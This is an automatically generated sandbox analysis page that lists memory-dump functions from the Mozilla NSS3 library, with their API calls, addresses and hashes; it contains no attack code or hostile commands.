String ID:
API String ID: 3768380896-0
Opcode ID: 043c36da8d79e58b9a898e3dbc50ea57fdb77205a0fbb16d9412ddffc6cd7017
Instruction ID: 25069814d4ac81cae77d262784057bf5551f5106be7a70c98f7d5e9ef81bac81
Opcode Fuzzy Hash: 043c36da8d79e58b9a898e3dbc50ea57fdb77205a0fbb16d9412ddffc6cd7017
Instruction Fuzzy Hash: C1819EB1A006059FEB14CF55C889BABB7F5BF49308F25442CE8159B751DB31F806CBA1

Function 6CEDCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEDC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEDDAE2,?), ref: 6CEDC6C2

PR_Now.NSS3 ref: 6CEDCD35

Part of subcall function 6CF39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DC6
Part of subcall function 6CF39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DD1
Part of subcall function 6CF39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF39DED

Part of subcall function 6CEC6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE71C6F,00000000,00000004,?,?), ref: 6CEC6C3F

PR_GetCurrentThread.NSS3 ref: 6CEDCD54

Part of subcall function 6CF39BF0: TlsGetValue.KERNEL32(?,?,?,6CF80A75), ref: 6CF39C07

Part of subcall function 6CEC7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE71CCC,00000000,00000000,?,?), ref: 6CEC729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEDCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CEDCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CEDCE2C

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CEDCE40

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

Part of subcall function 6CEDCEE0: PORT_ArenaMark_Util.NSS3(?,6CEDCD93,?), ref: 6CEDCEEE
Part of subcall function 6CEDCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEDCD93,?), ref: 6CEDCEFC
Part of subcall function 6CEDCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEDCD93,?), ref: 6CEDCF0B
Part of subcall function 6CEDCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEDCD93,?), ref: 6CEDCF1D

Part of subcall function 6CEDCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF47
Part of subcall function 6CEDCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF67
Part of subcall function 6CEDCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CEDCD93,?,?,?,?,?,?,?,?,?,?,?,6CEDCD93,?), ref: 6CEDCF78

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 94342a4e3804c859adcfd39996bead58b708215cd3ca1e31dcf73320919d937f
Instruction ID: d122bdac48216ad69d42c0f422b9d0335d122b1b8512e6363571eda22efc162c
Opcode Fuzzy Hash: 94342a4e3804c859adcfd39996bead58b708215cd3ca1e31dcf73320919d937f
Instruction Fuzzy Hash: 7E51A1B6B001119BEB10DF69DD40BAA73F5AF48398F360528DD599B740EB31F906CB91

Function 6CEEFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CEEFFE5

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_EnterMonitor.NSS3(?), ref: 6CEF0004
PR_EnterMonitor.NSS3(?), ref: 6CEF001B

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: a21b4979e5af0536ca7d3e4d508ae51edcfb723f40f14ff6846f1dee297095e1
Instruction ID: 3a04d0f025e0cf3a6464460b9ba733a7a55bde99c650e7cfe60c5f9bb5bc426b
Opcode Fuzzy Hash: a21b4979e5af0536ca7d3e4d508ae51edcfb723f40f14ff6846f1dee297095e1
Instruction Fuzzy Hash: AC4126B66446809BE7208B28DC517AB73B1DB4230CF70093DD46BCAF91E7B9E54BC642

Function 6CEAEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CEAEF38

Part of subcall function 6CE99520: PK11_IsLoggedIn.NSS3(00000000,?,6CEC379E,?,00000001,?), ref: 6CE99542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CEAEF53

Part of subcall function 6CEB4C20: TlsGetValue.KERNEL32 ref: 6CEB4C4C
Part of subcall function 6CEB4C20: EnterCriticalSection.KERNEL32(?), ref: 6CEB4C60
Part of subcall function 6CEB4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CA1
Part of subcall function 6CEB4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CBE
Part of subcall function 6CEB4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4CD2
Part of subcall function 6CEB4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB4D3A

PR_GetCurrentThread.NSS3 ref: 6CEAEF9E

Part of subcall function 6CF39BF0: TlsGetValue.KERNEL32(?,?,?,6CF80A75), ref: 6CF39C07

free.MOZGLUE(00000000), ref: 6CEAEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEAF016
free.MOZGLUE(00000000), ref: 6CEAF022

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 558912e6d8638a9ff4c730b2b44b248e43d5df62c33d94d178702f0b13d31252
Instruction ID: 6350b9a101a1a7d74efda79ba376e1bd1cff796dc321aa82bbc6f1254a9717ef
Opcode Fuzzy Hash: 558912e6d8638a9ff4c730b2b44b248e43d5df62c33d94d178702f0b13d31252
Instruction Fuzzy Hash: 85416271E00109AFDF018FE9DC85BEE7AB5AB48358F144029F914AB350E77599168BA1

Function 6CE9CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CE9CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CE9D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CE9D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9D025
PR_NewLock.NSS3 ref: 6CE9D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE9D074

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: b03dc1c2d53905850823f19e4a0b25d41aff4bddeae2315bb3d2a7448d44e58e
Instruction ID: e5cee22236e6597c83d820f0d33384ffb6902bac3ddde94179921329806c71ff
Opcode Fuzzy Hash: b03dc1c2d53905850823f19e4a0b25d41aff4bddeae2315bb3d2a7448d44e58e
Instruction Fuzzy Hash: 96419DB4A012218FEB109F29C88179ABBF5EF08318F20416ADC198BB46D774D985CBA1

Function 6CEE3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEE3FF2

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CEE4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CEE400F

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CEE4054

Part of subcall function 6CE7BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CE7BC24
Part of subcall function 6CE7BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE7BC39
Part of subcall function 6CE7BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CE7BC58
Part of subcall function 6CE7BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CE7BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CEE40CD

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 0a03edee203bb9cdfbe66d4642bc838253b66524f8bcb4cf28f0873002949efd
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 7731C971E0034197EB009FE49C41BBA3374AF9975CF254239ED099B742FB62E9558292

Function 6CE82E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CE72D1A), ref: 6CE82E7E

Part of subcall function 6CED07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE78298,?,?,?,6CE6FCE5,?), ref: 6CED07BF
Part of subcall function 6CED07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CED07E6
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED081B
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED0825

PR_Now.NSS3 ref: 6CE82EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CE82EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CE72D1A), ref: 6CE82F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CE72D1A), ref: 6CE82F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CE82F81

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 0c54cd5ff8672ddc69b1d3f5622b236bf9da396f953049db963cd4cedb74a8ac
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 1831F5719031008BF720C665DC4EBAE7275EFA131CF744579D42DA7AD0EB359886C622

Function 6CE70E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CE70A2C), ref: 6CE70E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CE70A2C), ref: 6CE70E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CE70A2C), ref: 6CE70E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CE70A2C), ref: 6CE70E90
free.MOZGLUE(00000000), ref: 6CE70EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CE70A2C), ref: 6CE70ED9

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: cd4af68433e1db710887a89bac12ad197b68feccac95314171286c9f267d98d4
Instruction ID: 3c122eee27174f961fd8e79a7e5fbb3de54409ed0d6c467e19b061c2ab32b713
Opcode Fuzzy Hash: cd4af68433e1db710887a89bac12ad197b68feccac95314171286c9f267d98d4
Instruction Fuzzy Hash: 5E212E72F0028457EF3045665C45B6B72BEDBC275CF394035D81997B41EA62D815C2B2

Function 6CE7AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE7AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CE7AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE7AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CF99500), ref: 6CE7AF23

Part of subcall function 6CECF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CECF0C8
Part of subcall function 6CECF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CECF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE7AF37

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 6a4a6ec991282c687cd213c4660a180cec9afbfeb6d0aa0d5b79e14a6240b206
Instruction ID: bbd77928167b1ca789f9b6f431362869dcb0696e587f0a65db0476a29d396089
Opcode Fuzzy Hash: 6a4a6ec991282c687cd213c4660a180cec9afbfeb6d0aa0d5b79e14a6240b206
Instruction Fuzzy Hash: 772128B29492006BEB208F18DC02B9A7BB4AF8572CF244318FC589B780E731D545C7B3

Function 6CEFEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEFEE85
realloc.MOZGLUE(20C012B1,?), ref: 6CEFEEAE
PORT_Alloc_Util.NSS3(?), ref: 6CEFEEC5

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

htonl.WSOCK32(?), ref: 6CEFEEE3
htonl.WSOCK32(00000000,?), ref: 6CEFEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CEFEF01

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 049e6be8fa85b950df868a7e97004eff4c5d8458e69bcfe4e7a09642ef9f2394
Instruction ID: 53f161039921348ec8e5b1ed2edc111e13458367a76c0cecda9ea81ce01e01d2
Opcode Fuzzy Hash: 049e6be8fa85b950df868a7e97004eff4c5d8458e69bcfe4e7a09642ef9f2394
Instruction Fuzzy Hash: 4221A371A00614AFDB109F28DC8479A77B4EF45358F258169EC299B741E730FD15CBE2

Function 6CEAEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEAEE49

Part of subcall function 6CECFAB0: free.MOZGLUE(?,-00000001,?,?,6CE6F673,00000000,00000000), ref: 6CECFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CEAEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CEAEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CEAEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEAEEB3

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: f60130c6934f60d972b2c56cfd417d4898d6bf601e3c01d6da8181084920e4b0
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: C221C3B6A006106FEB119A58DC81EABB7B9AF4570CF244168FD049B351E671EC2587F1

Function 6CE77F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE77F68

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CE77F7B

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE77FA7

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF9919C,?), ref: 6CE77FBB

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE77FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CF9915C,00000014), ref: 6CE77FFE

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

